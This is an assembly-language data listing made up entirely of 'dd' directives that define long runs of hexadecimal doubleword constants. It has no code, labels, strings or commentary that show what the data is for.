		dd 972928A5h, 0AF3A8C66h, 4AC0A96h, 0FE14F0C7h,	0CD3C7CD0h
		dd 0B87E7C8Fh, 2F312CF8h, 0ABC2C0AAh, 974B088Ch, 8C49928h
		dd 4080232Ch, 0A7C4AF6Ch, 0B2D9C0A0h, 0BC48AF7Bh, 0BE3750B8h
		dd 4089A400h, 78D7103h,	504DE81Ch, 24ECA860h, 0F0049131h
		dd 0A50171BFh, 69AE66D0h, 0B882EF39h, 982F5C0Ch, 97061C9Eh
		dd 0BD61D9CAh, 53593E88h, 0F44C988Dh, 38DC1B38h, 0BB469E5Fh
		dd 0A92B4410h, 7A72E080h, 0AA4DDFCDh, 0C7221510h, 549624B8h
		dd 181991F0h, 68710DDEh, 68AD5AB9h, 0A4C20981h,	6C20E772h
		dd 2E5032D9h, 444F3330h, 971EA587h, 7985C87Ah, 0EC04A211h
		dd 40789130h, 0EADED70Ch, 3999A072h, 49F5D61Ah,	1D26C0B7h
		dd 710C06BCh, 584C10ABh, 56C0EE8h, 8C2C8161h, 0BAE398B7h
		dd 0C84BC91h, 0EC27813Eh, 0F3203969h, 0C3A49DAh, 0C0BD46F1h
		dd 0AF0A529Fh, 0BCCE5969h, 887C3834h, 0BAD908BDh, 0A626D38Ah
		dd 3A68C118h, 0D5A8DEA3h, 3BE18C96h, 0EE67D0C0h, 1924BC98h
		dd 0AD056CD8h, 7468C58Ah, 30EDF019h, 0B978D9CEh, 0A439BFF9h
		dd 1E1A3AA9h, 6F007B09h, 73A0CAEDh, 0F431484Dh,	3B02D12h
		dd 0ADCD2C78h, 0B8F19828h, 0F0A06C12h, 0A18BF004h, 0CD30EC81h
		dd 4AF31096h, 0CC47BACh, 6C0809CCh, 20D9FD20h, 0E320C048h
		dd 95625190h, 582755F1h, 0E8841C0h, 7490A85Fh, 0ECEDD924h
		dd 3C052905h, 1861B878h, 0F9023EE6h, 9800379h, 0B490571Fh
		dd 0C82B429Fh, 2468DAF1h, 6F261B93h, 4980282Dh,	0CD711FEFh
		dd 1280987Bh, 4C0D5EDh,	1F3DD61Ch, 0A0683C15h, 494FD596h
		dd 390920A8h, 0AC8F9DCCh, 3C3C22E9h, 67ECF926h,	3C4C5412h
		dd 0A9FB39AEh, 70317188h, 0C20DCE1h, 74DF4CEDh,	38238C0Ah
		dd 22C70A94h, 0A188F098h, 629FE313h, 1EF97802h,	9D10C120h
		dd 0C4DC7477h, 0D02FFDB9h, 0CBA41994h, 0D00280AFh, 21B570AEh
		dd 60CFFCB9h, 0BC933C50h, 3E5C9FE0h, 68656263h,	0D842FED9h
		dd 28C01862h, 0CD633AACh, 1A40D78h, 614FB8B0h, 20DCF3CCh
		dd 104C5638h, 0A0D452C0h, 30AFBBC4h, 79686430h,	6C14010Ah
		dd 12B44C4Dh, 900333C9h, 0A0C699ADh, 0F870C80Dh, 0C7AB24E9h
		dd 2B341FA0h, 3C93E198h, 99C9925Eh, 0A47CE011h,	0CE3B74CAh
		dd 0A25D2A89h, 0A07B8826h, 737FED02h, 4FCFCD6Fh, 28A3A8h
		dd 48A0287Ch, 9E00DFC3h, 5E9F3FC0h, 0CA7D6A73h,	0DB286838h
		dd 6E159074h, 920DE7Ch,	0E2D3193h, 2EB56194h, 9821F527h
		dd 66F30E87h, 0C1AF940Ch, 968E311Ch, 0C7D3960h,	0ABC0A884h
		dd 433362C9h, 0AE682E25h, 779C8940h, 0D87A7C00h, 3C1F2FF2h
		dd 5D3D99D7h, 0B4D31D4Ch, 5E6B0C87h, 593E85AFh,	0D59E6881h
		dd 59E0E420h, 0F0E6D429h, 14679A21h, 5909E446h,	885FA15h
		dd 4790C0A3h, 88983A1Dh, 9838CE31h, 44203BC8h, 0EDBC1E84h
		dd 0B41DD2Fh, 401A56Fh,	1CA054Ch, 0F470BBC9h, 908CA091h
		dd 0A453AD9h, 48D11Dh, 78C37D0h, 5B7CF370h, 551F5018h
		dd 78885220h, 1B4A780Ch, 107B700Fh, 8C6233E1h, 10F41918h
		dd 48EA6367h, 4000E58Dh, 4458399Fh, 0BC9C1Eh, 7B740B95h
		dd 42E7CF1Dh, 0D559EE00h, 655BC404h, 487118BBh,	568A28F0h
		dd 580F340Eh, 0DBD063EDh, 0C310BBBAh, 8E1001B4h, 8C7098C3h
		dd 61F0D0D5h, 0EC785E63h, 0E5200153h, 6E300CFFh, 0BF888C73h
		dd 781B204Ah, 8EF037E1h, 8BC843C0h, 5476B819h, 0E0BA4E38h
		dd 38EF5918h, 10E85AA1h, 0CF5B106h, 19E8FBB0h, 18E73F70h
		dd 2704B2Dh, 0C8D84D75h, 15513066h, 2F3334E4h, 0E6B0D0D9h
		dd 587014C0h, 0D719B459h, 84688040h, 0E7B910B0h, 10206006h
		dd 0B0C489EAh, 2A0D5BB8h, 63CDE0A8h, 0E42518C6h, 3E412BE8h
		dd 0F2C242BCh, 0E75FB138h, 99979098h, 40CCC702h, 43905028h
		dd 0E0E8D847h, 0DACA2113h, 0E9E69186h, 0D8C85048h, 0A0785090h
		dd 0CC14870h, 0F047B2ACh, 4F51F109h, 80F23C04h,	125EF04Ch
		dd 0B041C0A5h, 0D1183207h, 0F0488761h, 98874D80h, 839B30A9h
		dd 58184567h, 8EF0EE33h, 2860CDECh, 6384410h, 0C8B6F0B4h
		dd 8A53030h, 0A5125A50h, 0C3F241B8h, 2931185Fh,	50ACEDEEh
		dd 132037C0h, 643603D4h, 0C95111BBh, 8C3E2824h,	6A9B008h
		dd 50586970h, 1A50A63Eh, 8A087430h, 5490D8A6h, 0B8E0617Eh
		dd 4A40CA90h, 0BADA82C4h, 71812C5Fh, 631024FFh,	0ABF0A0A0h
		dd 0AD3AB092h, 40702441h, 6050CC21h, 2C6652C9h,	0C05A5114h
		dd 2B287012h, 0BD721F60h, 0B10C20A9h, 4830E816h, 500A8C40h
		dd 54B0E1AEh, 0CCEDC808h, 0F79163DAh, 0B710D019h, 38258E49h
		dd 0AAE16822h, 0F1985CBEh, 0B0BCDE50h, 78D2902h, 7137DF0h
		dd 0F1944A75h, 0A4DBE070h, 0D1481A62h, 0AB610E50h, 0DAB007B2h
		dd 0AAD0E081h, 1F985EE1h, 52042822h, 3C836AACh,	50300AB3h
		dd 0F390E5F7h, 68544CB8h, 2DD17162h, 8C404192h,	7061845Fh
		dd 4833BB30h, 0FD41711Ch, 7061780Fh, 1859F004h,	0E42F2B51h
		dd 81E5CF70h, 0A61C4372h, 0A2B897E8h, 7A0037ECh, 0BFA14CA3h
		dd 3AD88933h, 900E2931h, 9EBD325Ah, 6809004Eh, 0D67DC77Ah
		dd 0CCA3DF01h, 54E637DDh, 0CB2CC4h, 2B973AE9h, 0A6D1C7FDh
		dd 0D39AC80Fh, 0EB8DCA3h, 0C7E7A929h, 0E9F3C932h, 20E2A133h
		dd 9669C2F3h, 0BCA042Ch, 6010B06Fh, 0D3ABE328h,	32E20128h
		dd 8F480949h, 34E7FA8h,	2027FFA9h, 4918E470h, 0C468235Dh
		dd 0CF08DD4Ch, 4A862AEFh, 0E66DE4Dh, 8F90E908h,	0E3631D74h
		dd 0AAEB0881h, 0F7E56CA3h, 18A7808Ah, 104A08A0h, 69083A18h
		dd 101762F0h, 8083B662h, 49F947C0h, 7C610CC7h, 15C60014h
		dd 0DD4AB27Eh, 0A600253Bh, 90FEE5D9h, 6EDB05Ch,	7754606Dh
		dd 153C0863h, 8B41840h,	6EA1410h, 5B7461D8h, 0FEEC08DEh
		dd 1A20F4F8h, 513B02FFh, 36B2B45Fh, 0D011F600h,	80D90391h
		dd 0A5CD1F5h, 1EFE101Fh, 0A61F6F24h, 0FF57B100h, 7499F1CFh
		dd 0ADD133F8h, 0FDC29108h, 1F9A04h, 0F1D01FDCh,	11E8208Fh
		dd 7110C661h, 51F0D614h, 20F063C0h, 6835D91Bh, 9C0C10BEh
		dd 0FD3D60F5h, 2F52288Ch, 31408058h, 0B7F2400Fh, 2502A63h
		dd 0CDB1E10Ch, 0B431A1F7h, 36110884h, 0D354060Dh, 0D5823A60h
		dd 27E2310Ch, 9CD2068h,	42F158A9h, 29B5118Ch, 8C3C260h
		dd 730EB451h, 0B178C380h, 50372B81h, 0EAC6807Ch, 890D820h
		dd 4363D411h, 0A149FA98h, 8041ABD1h, 98C96B1h, 71184A8Eh
		dd 0BE1120C0h, 151CF10h, 67B45AE3h, 2360428Eh, 0EF080200h
		dd 20230622h, 0D05C7625h, 7034DA40h, 1B08C38Ah,	5789D1EFh
		dd 29608C1Ch, 4007B801h, 51802E2Bh, 71E8C2BFh, 88862533h
		dd 0F120086Eh, 4C112244h, 51E0C661h, 28952C8Eh,	8B28B491h
		dd 0B27128ACh, 0F0F128B4h, 0DC41FEACh, 0D108F159h, 0E111BF5Fh
		dd 3104F138h, 0D1012D02h
		dd 9847114Fh, 7C295DF5h, 1BE57C42h, 0BD70F909h,	1A780662h
		dd 835124F0h, 0A6358C58h, 2165A508h, 0E01DBF90h, 0EDEC250Fh
		dd 7CF3D9B1h, 900561F9h, 1F6EE51h, 0C05A5D0Dh, 0CF055A11h
		dd 435C990h, 0B8812EA4h, 29F462D4h, 88446374h, 985065F1h
		dd 0A4A142A0h, 71702064h, 48F7DB20h, 0D112847Fh, 0D2284DECh
		dd 8830A388h, 3849A562h, 37486230h, 88E928FCh, 11263112h
		dd 0AA14282Ah, 50CF2446h, 0CA8D28Ah, 9C88FBC1h,	9824F356h
		dd 8E478D90h, 0D480F077h, 0F5A7097Fh, 0E8015E71h, 1D9E4D1h
		dd 0FC4328BCh, 910812A5h, 0B8101A30h, 0D81D08BEh, 868734Bh
		dd 901E3177h, 84E8DA61h, 20F6DE2Bh, 3DB0E40h, 30636BF2h
		dd 69F75805h, 0BF381870h, 9112F701h, 105C7975h,	0C0D840A3h
		dd 7987E230h, 24D8EA4Dh, 0B6F834C7h, 0B80C18CAh, 0EBD030BCh
		dd 0E088F653h, 325241D7h, 0BA719E83h, 35E7008h,	145B838Eh
		dd 82985DEh, 4A308D3h, 4128E240h, 0B4FF00B9h, 2A98137Eh
		dd 5F605D64h, 7808BB21h, 0FDF70127h, 6F573682h,	11F9D084h
		dd 0B689180h, 0AF7F097Ch, 0FAA11380h, 54605B3Eh, 0E434A541h
		dd 1527794h, 0D1925AA8h, 10DAB7E8h, 1F386E9h, 646B73A5h
		dd 0ED2D9FD9h, 140505Ah, 0F7231E78h, 3D311F5h, 5B7B25A2h
		dd 8267A1ECh, 7A06D880h, 0CC0D5264h, 6B0B6E00h,	7E8C7323h
		dd 0F0252C7Ch, 2CEF0461h, 6804C6EDh, 1D30F800h,	0B81892A0h
		dd 0CC4A007Ah, 0B0388951h, 9739B5C5h, 43C30FD1h, 9F2818h
		dd 2A242B4h, 0D407546Bh, 0D9A4A8FDh, 80C35642h,	9CC90EB0h
		dd 72100ECh, 3162CFDEh,	0A60187A3h, 4B85F304h, 0E3C4B958h
		dd 72B4007Ah, 7DCF8FB3h, 0F20AF646h, 0D4E99851h, 5DC2F39Fh
		dd 9320C399h, 95601740h, 0FC5D0ABDh, 0E8450840h, 9CD4003Bh
		dd 24B1CD88h, 303C396Dh, 0FAE28A0Ch, 0DE68EE2Ah, 46562CD9h
		dd 0C51E0049h, 8353EF98h, 6E410CF3h, 5B50C3C2h,	0AC5CDB2Ah
		dd 5102257Ah, 0CF0672B7h, 0B86D40D7h, 2180E364h, 66517AD3h
		dd 3F006F1Dh, 31AF1E96h, 0BF4B84h, 0A86597EBh, 7F0F60C4h
		dd 1A9B7000h, 4ACC05BEh, 0FC034F5Ah, 0E6D40717h, 404FDF87h
		dd 6C085EEAh, 2540C318h, 8BD3CF1Bh, 770010A6h, 0E4E2A442h
		dd 6365EEB4h, 1C8F09FBh, 48572000h, 0F26729A4h,	97E90012h
		dd 0A26CC41Ah, 8601B66Dh, 42103563h, 0A180FD90h, 52BA0BAh
		dd 88003DD1h, 2EF5D48Dh, 41838Bh, 6AB197EAh, 0A204802Ah
		dd 48E26B00h, 0C3596E0Ah, 8D020CA0h, 1A48B8F3h,	73BF5F00h
		dd 0EDB5E3BCh, 250A3E8Fh, 1A9240F4h, 731F5100h,	58474117h
		dd 3771F5Ch, 49883086h,	8B001690h, 0C131539h, 3E4D7324h
		dd 0B78F98DEh, 91AE966Dh, 0C50DEC60h, 567B4FB3h, 0ED9F1703h
		dd 71F15Eh, 2073E449h, 7F80D86Ch, 0A8653B28h, 2600C798h
		dd 0E8768C5Dh, 0A42201CAh, 720E025Ch, 0ECBDE3E1h, 0A0501619h
		dd 74BACAh, 0D17C3602h,	0A9A661C0h, 0E6888900h,	46A2EF0Ch
		dd 104C0026h, 0F56A8CB2h, 32785447h, 2B41356h, 0CBAC2B9Fh
		dd 87FC3165h, 2A69A821h, 146661F0h, 0BD160083h,	0AC4DDF31h
		dd 0C8C07AE9h, 0A013F432h, 18040F5Bh, 99E19586h, 0A8715674h
		dd 2D2118D9h, 7B5080DEh, 55C4E57Eh, 21D86086h, 11A5D931h
		dd 3A79710Dh, 1F0F0E0h,	8C2E0060h, 0B87ABE02h, 911FC96Bh
		dd 0D64A4CCBh, 3064A48Eh, 0DB72E460h, 0ED8DE310h, 0FC80E5C8h
		dd 0F2FD74B5h, 38E2003Ch, 0A55C26CFh, 2B00A1A6h, 0C706CD77h
		dd 0FE9F0B4Bh, 0ED799Bh, 7C53A367h, 0C08F92F5h,	0B5C82000h
		dd 0A11B2786h, 0BC74A8EBh, 0E5C01DA5h, 886890A4h, 0C05D9FECh
		dd 0E82223AEh, 0D1001E6Dh, 0B405B9DBh, 56035C85h, 99A02825h
		dd 1507D378h, 0EAEFBB28h, 897E72h, 0E68F5B7Ah, 0CC0E3145h
		dd 301A9384h, 28252B7h,	3C7E2C8Ch, 0A4810E0Ch, 59EC01C9h
		dd 0B773D4BCh, 86DE323h, 0F38EAB4h, 607574BCh, 0C9FD6371h
		dd 7B610E03h, 34C0410Fh, 4B8FA655h, 0B1674500h,	0ADE53DACh
		dd 26160046h, 7FF295F4h, 0A6002132h, 0CA620114h, 1897F73Eh
		dd 819798Dh, 4303F4E7h,	6359E2A6h, 8736F05Bh, 86500B1h
		dd 92AEA879h, 0A000CAD9h, 0F4B743F3h, 0E8A62047h, 4CC10153h
		dd 1694B041h, 8DDCF8A2h, 50C00FE8h, 4CE808F4h, 0F6A50392h
		dd 7BD53DD8h, 227447C8h, 0F500BFE0h, 0CF85B54h,	152C7C2Dh
		dd 58E9B3F4h, 20620B02h, 2B30073Eh, 0B420C031h,	0BCF6394h
		dd 0C073C200h, 12485A9Bh, 43020AE8h, 8054F755h,	19D6625Fh
		dd 20867CA4h, 6F2214Bh,	812430EDh, 0B7EC1A00h, 5EC4A459h
		dd 97C018D6h, 0AF172833h, 0BE013870h, 0FF7A7FF9h, 0A8DCF864h
		dd 23BE2F4h, 0AB50E1E9h, 42D04C96h, 9297220Ah, 0A60A9CF7h
		dd 215EC82Ah, 0FE87F69Ch, 42904D60h, 338593B7h,	7350AE72h
		dd 57040D5h, 0C13D8D4Bh, 8CC52233h, 2EA9A032h, 0A0170019h
		dd 54EFF2D9h, 0C301B056h, 0E4B99429h, 20BC0EFBh, 40CEED9Ch
		dd 0EEA0B312h, 1D00E336h, 1461936Ah, 3A8019h, 96D274C3h
		dd 26A9A464h, 7F1A0900h, 62289A50h, 2B63006Eh, 7872BADBh
		dd 0D00614Dh, 0F15199CBh, 7A65800Eh, 3A1F2EEh, 287CD1D4h
		dd 40001660h, 14CCCA79h, 4CB47DAEh, 0AB3A8D02h,	0C6611030h
		dd 5D01CCA6h, 0E7DF9329h, 0E13B3AACh, 0B79DC3Eh, 7B33Dh
		dd 784FC339h, 60A256F5h, 2C37F8BEh, 610B426Fh, 8C32A463h
		dd 0F0082Ah, 0DE192DF3h, 50076F6Dh, 376C1500h, 0E19036C4h
		dd 156EEAB4h, 0A0C34609h, 7AAFBC00h, 7FE3D2EBh,	508DF21Fh
		dd 743A2100h, 9C5907h, 816180A5h, 0BFDE4F5Fh, 705C38C0h
		dd 6E21BEh, 0C60A750Dh,	87DC1CAh, 126D8E03h, 0EBE61ED1h
		dd 37E87BC3h, 4098CB17h, 64F3CEDFh, 0A9A13C14h,	5083C4E8h
		dd 0F3F58400h, 0FF0EF77Bh, 20581E2Dh, 0ADF48FD9h, 0DE8B009Ah
		dd 44C3348Ah, 0CF005478h, 25A1BDA3h, 54CC507Dh,	24123419h
		dd 501CB0F4h, 862D1Fh, 44E57337h, 8F3B1C2Bh, 26644906h
		dd 28B819BAh, 0D3A432h,	4A6ABFE1h, 8DC90554h, 30001EF8h
		dd 4C0CD5DEh, 24BC404h,	0CEA50F8Ah, 4626B6h, 0EAE3940Eh
		dd 66B528ADh, 0D800618Ch, 671CCA8h, 0D70A24h, 0E40DEBFEh
		dd 5D7F1718h, 0CE811407h, 4CD0C2E0h, 5F9A4C8h, 8C384073h
		dd 0A8B04F2Eh, 30116Dh,	0C0784DA0h, 87011493h, 8B619F6Fh
		dd 0E4A8E818h, 700018D7h, 0D672344Dh, 7B64B21Fh, 64D1522Dh
		dd 0E33033A2h, 4920E1E8h, 0BB810FB7h, 0FE4F01E4h, 90183B04h
		dd 7B6084B4h, 79E6921Eh, 0C1178941h, 0F1C48BC4h, 8CAD00BEh
		dd 0C37653AAh, 0EAA39AD0h, 93E0E3A3h, 5C906DE1h, 0C680687Ah
		dd 8183E385h, 0C4838EAEh, 6A06109Eh, 2F71A890h,	0F0F028h
		dd 5D8756BAh, 86D576EDh, 0CB6AA30Ch, 0E3E9210Eh, 5CAF8BFCh
		dd 0A4812FCh, 9C85A0Eh,	9F799CA1h, 6AA84C4Dh, 61786F08h
		dd 0BD53C293h, 6F7B9400h, 0B16902AEh, 0F9758B63h, 0C89CE080h
		dd 91144F01h, 3A5CD59Dh, 680E05ACh, 5820A290h, 8918774h
		dd 0CB6DBD5Dh, 0EF403844h, 5FEA8763h, 0A053950Fh, 432D00E3h
		dd 14785685h, 0DE84FAD7h, 0E158470Ah, 23CC80F4h, 99E6964Dh
		dd 0D193E200h, 3A1A6748h, 24123D28h, 96B7900h, 8086F23Bh
		dd 0B42C8228h, 5E44AE04h, 10C0ED67h, 0CFC3969Dh, 14809F89h
		dd 0C2FDBB4Dh, 0A9672A00h, 0F5646261h, 0E3F8950Fh, 16EAD107h
		dd 78354270h, 0EDD8DC40h, 0E8C7F5h, 58562D21h, 238452D1h
		dd 71429000h, 99EAA339h
		dd 787B00B6h, 698595B7h, 0F40FECFFh, 0FE98D7h, 3BA1F943h
		dd 0BDF008Ah, 61C3D047h, 1E00990Eh, 9CADFA1Ah, 0CD526Ah
		dd 62C840C2h, 28875E6Ch, 0A81FC405h, 1088C185h,	0ED5F006Fh
		dd 5112A6AEh, 0D10005BBh, 0E4E34F2Fh, 0C1C7206Bh, 846CAE0h
		dd 69CF486h, 0E74D1879h, 0AFC60A24h, 6381E875h,	0C023BE6Ch
		dd 0B0B61181h, 0D0CD9ED1h, 4C1FA193h, 4D4A33CEh, 19009037h
		dd 3D5096Ch, 3ADC0070h,	8F1E16A8h, 4F0041D7h, 9E3B64EBh
		dd 77D6AF75h, 0BF870F89h, 0F560B7E2h, 28CBC7E5h, 0CE18300h
		dd 189B9C12h, 0C009D00Eh, 0C0482064h, 20AA7AFBh, 677C7E1Eh
		dd 0F4861282h, 0B0A2C3E9h, 0D551E7h, 0CAA31F16h, 0EB6A8C88h
		dd 8186373Ch, 4771DA5Ch, 0C6D0DF59h, 9C20C0CBh,	6AF33741h
		dd 2EC8A38h, 7CB12357h,	0AFDCE059h, 0AE8500F7h,	11CCE249h
		dd 4F01BFE7h, 3F20E5FEh, 86E93008h, 682A2086h, 58C1A90Eh
		dd 0AF89D374h, 20984CB0h, 0A860C49Fh, 74570650h, 0B10E675Fh
		dd 601481F5h, 985AE013h, 67AD3D07h, 35700920h, 0C99B6h
		dd 0E8C2A1C1h, 5F51033Ch, 4581301h, 0C30E2490h,	3868BCCCh
		dd 0EF006BDDh, 311AD6AEh, 0EC0A56F4h, 0BB73A793h, 64DA8100h
		dd 1741545h, 0FB7595B9h, 4892681Bh, 771FC304h, 580212BCh
		dd 2054A665h, 0A01E022Fh, 0D00C4AF1h, 3156A004h, 1D9202C2h
		dd 0B6053F37h, 0E6F32BE3h, 4DE066F0h, 18D2EC30h, 88A904C7h
		dd 0ED449EA4h, 1840E938h, 88EA2568h, 21841D10h,	0C508A090h
		dd 44944538h, 22360424h, 0E00CA2BCh, 9C8213A8h,	84A2AF10h
		dd 1A3C0854h, 2C0CA750h, 375124A8h, 0C305484h, 21CE42F4h
		dd 18B395B4h, 5900B822h, 0FB0CE818h, 853C56h, 0C37AF67Fh
		dd 1F2D7367h, 172B18C0h, 1634D7E3h, 0AA4C2ECh, 0B48737h
		dd 50265E1Fh, 0C8014178h, 0C282BA64h, 388020D9h, 0EBCC9A90h
		dd 95504938h, 0ABEC7EC8h, 7429C12Ch, 0FCD9D000h, 16A6B385h
		dd 0C6AA68h, 0C3E60F94h, 8C748BF7h, 86E5831h, 89204340h
		dd 3B41F07Ch, 8E001926h, 7BFC1C86h, 152A0CCEh, 3D1C4C75h
		dd 0F8DEB6C4h, 3B140200h, 0B2744Ah, 4E4FDC8Ch, 0C82EE6A8h
		dd 9BFC9700h, 0CBF8F958h, 0ACC20FAFh, 3160E0Ah,	5FF443Ch
		dd 0F2137CF8h, 0A8029B98h, 937F6A11h, 101C9408h, 0E0D42BEBh
		dd 5586DFh, 71E60699h, 85391E95h, 0A1204C02h, 0BEECCF7Eh
		dd 0C79703C0h, 5C70C2E6h, 0EF9E5E80h, 1F71DB0Dh, 0C0D4292Eh
		dd 0E1FE0045h, 570C517h, 4E010151h, 0DFAB0D1Ah,	0A0E05C36h
		dd 5CA35383h, 71AD1301h, 0C438B807h, 0E200F2D4h, 91329A81h
		dd 0ECE58EEh, 0A662539Ch, 0FE11CB80h, 61002FFBh, 33AA56B5h
		dd 0A3EA483Fh, 0DF44E0BCh, 0B491491Dh, 105F24h,	96EE8480h
		dd 0D0A89CA0h, 2D0028FBh, 2309BFFDh, 2155FD1h, 4E1E80A3h
		dd 5897E642h, 0D6DDE888h, 5A804C87h, 7DB12A3h, 26BD0043h
		dd 0F07C021Ch, 0A748EED0h, 25B10128h, 753FAD92h, 0C31109Ch
		dd 8A405B6Bh, 57B6A302h, 48E2DF82h, 71CB184h, 451906BEh
		dd 0E87B43B5h, 0D4D895DBh, 0A4248B0Ch, 59C27425h, 971D1D19h
		dd 0A0ED104Fh, 385EE3E7h, 0C1670650h, 0D02FAB14h, 0C232D612h
		dd 8CC9CC08h, 3108F1E8h, 8B4B2A01h, 0EFF9E50Fh,	65638050h
		dd 6F40013Eh, 0AB215C10h, 0F0AC4A9Ch, 3E07C158h, 0B901E668h
		dd 1AE8677Fh, 81942204h, 0DB775B1Eh, 0FD14D426h, 15AB441Ch
		dd 84DFDEh, 0ECABFD2Eh,	48F4D12Ah, 0F6B0E8E6h, 42003DEBh
		dd 0E718895Fh, 7AE3209Fh, 9CFE04BDh, 3A9666DAh,	0D1DC6E24h
		dd 0B9DDF405h, 8AF04E00h, 0E3C162E8h, 5574295Ah, 83594584h
		dd 95A18A14h, 0CEA04061h, 0C0015A5h, 43B83E2Ah,	304C76h
		dd 9C315438h, 0DA32815Fh, 7BF6F81Fh, 0A46D01B8h, 4C780E15h
		dd 0C031819Ch, 0ADC1AA20h, 0D009057Dh, 8843BB7Fh, 4808D0C5h
		dd 0B1C6478Bh, 0FC05E86Ah, 0D509759Bh, 15D31A4Bh, 36426264h
		dd 0C54C086Ch, 4A3801DCh, 9FB52F54h, 7935860h, 120E2CC9h
		dd 816540DAh, 0C91F816h, 6A080C5Ch, 58D8400Eh, 4F62924h
		dd 38B9E440h, 0B81101DCh, 5C0150E3h, 0B0FC4A99h, 20C0E3Fh
		dd 8C652B8Eh, 0F4934E2Ch, 73D97F0h, 42945814h, 0BA0CE080h
		dd 96652C2Dh, 0AF2CF428h, 20D2E821h, 2B820590h,	0BC3F26BBh
		dd 0BEB8774h, 70485BAh,	84A86008h, 1FE523B3h, 0A0E0D230h
		dd 501C1A00h, 0ABD5CB21h, 91CC030Ah, 3C44B8A8h,	4C55A7C0h
		dd 65C620F9h, 80F1DE3Eh, 5D464753h, 0F2E0D023h,	74C076Ah
		dd 77C45A5Ch, 0F270A372h, 380050C3h, 133F7345h,	426539h
		dd 3C8393F5h, 482E7E0Dh, 0F564618h, 3AF2D8Eh, 8138CD5Ch
		dd 800CCE6Ch, 4040BB96h, 2C00037h, 4C12E8B8h, 940E6352h
		dd 600BA87Eh, 8786D982h, 0C3BB3677h, 2F3CA8B9h,	0A0BCB1ACh
		dd 1D035768h, 27FF480Fh, 9D966013h, 30B0E83Ch, 563831A7h
		dd 0C0C0C5E4h, 58432AFCh, 7CDF336Bh, 9038190h, 0E8DA0E3Ch
		dd 0E4E11B32h, 78E10897h, 7A1AF45Fh, 0C67E0C00h, 0E08839E3h
		dd 5D4D0330h, 2E8EC454h, 0C5C06900h, 4E35D348h,	807F0096h
		dd 44CDAE2Fh, 0F600DBE7h, 3CE9882Eh, 1CDFB6E1h,	80A4175Eh
		dd 0AC2848A9h, 0DE305C56h, 0B51C78B1h, 30E60E32h, 198091F7h
		dd 47E88E44h, 216F2803h, 0B0AB1C0Ch, 0F4DE7Ah, 7626A143h
		dd 0EEADA3B5h, 0F5EE200h, 0AA9A9E0Eh, 16BF061h,	556C3EE3h
		dd 0CC4389C0h, 9400EF3Bh, 4E2D121Dh, 2AA788h, 0DB095FF2h
		dd 0A99D7EFCh, 843FF800h, 0C94A8CC8h, 50680008h, 29B281F2h
		dd 65004DA2h, 5EF69BE5h, 797E1153h, 6D4700E0h, 0D914B1B8h
		dd 2149DFCh, 191C012h, 1B67C8E7h, 5BE80D60h, 35AA008Eh
		dd 0FDD06DC2h, 7300AF7Eh, 0E75F4E0Fh, 0CBDB19h,	25A8D770h
		dd 4FE1ECFFh, 0E2915E00h, 2FF33F43h, 6E070030h,	534E5A74h
		dd 7A00FE9Eh, 0E12EBBEBh, 0D36071h, 929A2962h, 7C90B226h
		dd 8AE6AB13h, 0A33D9900h, 0C50AECh, 0B91428D8h,	3207358Ch
		dd 3DD4F43Ch, 0C92B8FDFh, 61C34F41h, 84A61DD7h,	0E9A31CE0h
		dd 7E3D54FCh, 0F12E1F73h, 338B03B1h, 0D3A85686h, 0D6075A17h
		dd 54D9FEBAh, 80BB2320h, 7B3E00B1h, 569F8697h, 71009527h
		dd 0EE93008h, 0E2B6C94Dh, 7C930084h, 3A68CAB3h,	7B791662h
		dd 1DC54003h, 80CBB542h, 488C3841h, 7F14AAh, 0E3C3BEF6h
		dd 0EFBBB0A0h, 1C6B4C09h, 9B2800DEh, 193DB9h, 6FADD7BEh
		dd 2925C55Ch, 0E5A56C00h, 0E7058BF2h, 2DCC0096h, 20A0AEF1h
		dd 4A1F06DAh, 0F8C1ED31h, 55668AE1h, 0E39C87D8h, 0B320E4h
		dd 52F25B03h, 3F3472D5h, 0E8E80A73h, 0C4F92401h, 0C7D6DBDAh
		dd 208CCCh, 29F05FACh, 77EA1C51h, 27328000h, 0A7D304EEh
		dd 0FAAD0049h, 0E9AA4705h, 9700AF89h, 0C0AEE688h, 790489Dh
		dd 7FC2862Ah, 3DA8F026h, 110018E3h, 0D350AF45h,	1C1430BEh
		dd 40B4E506h, 0C1347D65h, 0CB03D10Fh, 0A45688ADh, 9A5BD02Bh
		dd 0D4CC006Dh, 13323A63h, 0CA00906Eh, 226BBAA1h, 31D354h
		dd 0DCC273E4h, 103FA9DAh, 8309657Ch, 46967Fh, 0F2BD01F0h
		dd 524D3D4Bh, 2D5E3301h, 0ECAA434Fh, 75025C82h,	0CF5D590Bh
		dd 8D7E606Ch, 0ABC700C8h, 1E03ECDAh, 0C070A033h, 2D0BE900h
		dd 0C4847C80h, 86AE005Dh, 3162C72Bh, 3F035950h,	207AD751h
		dd 8A54C04Dh, 668200ECh, 0FB9ACF43h, 120FD428h,	60FDE4E7h
		dd 57DBD594h, 6BC005Dh,	4EDC2220h, 9300A3B8h, 3E09C538h
		dd 9AF849h, 78116816h
		dd 0DF74F6CBh, 916C8506h, 480535h, 0BCB1D40Ah, 0CE9C63DBh
		dd 4499F600h, 68775F4Dh, 0CB39127Ch, 0A1D003F2h, 2BD80D8Fh
		dd 727E1D26h, 0FA293107h, 0E3B010EFh, 0FE201C66h, 0D7F90057h
		dd 87D406DBh, 311F4EDAh, 0B507DD35h, 0D30FD3D2h, 0FE681A00h
		dd 0EEED283Ch, 10410085h, 0CCD2C5AEh, 4E008E33h, 3EC83697h
		dd 2253039h, 0F669D13Ah, 344157DAh, 0F081C48Eh,	0D8459F02h
		dd 408C825Dh, 89122Ch, 1E4A788Dh, 2EF1CE13h, 2F5B730Fh
		dd 5CC1A0F0h, 0F4921BFh, 0E690ACAAh, 58BB1DC0h,	2400F2AEh
		dd 0CBDA790Ah, 8D4750h,	0F6D84443h, 8553695Bh, 8070D53Bh
		dd 66D93139h, 51E06Fh, 614D4A0Ah, 75676936h, 0BA90D300h
		dd 0CD242363h, 0E7BB003Ch, 6911A91Fh, 4003B52h,	0E093635h
		dd 1FA32FFh, 0A6E287DBh, 0E039A1BAh, 4900B27Bh,	45420B5Ah
		dd 0D18D22h, 0EFFFBB1Ch, 7B271E20h, 0C50081E0h,	8CF9C0EEh
		dd 9D2AB3h, 52ED387Dh, 1E5635ADh, 0C1596600h, 0DA3E92B0h
		dd 94F90EB7h, 77025Bh, 6B95C054h, 0D1005153h, 12074F10h
		dd 1FD4220h, 0DB4EC26Dh, 0FAF4F97Bh, 0A08CC0DFh, 75AE0038h
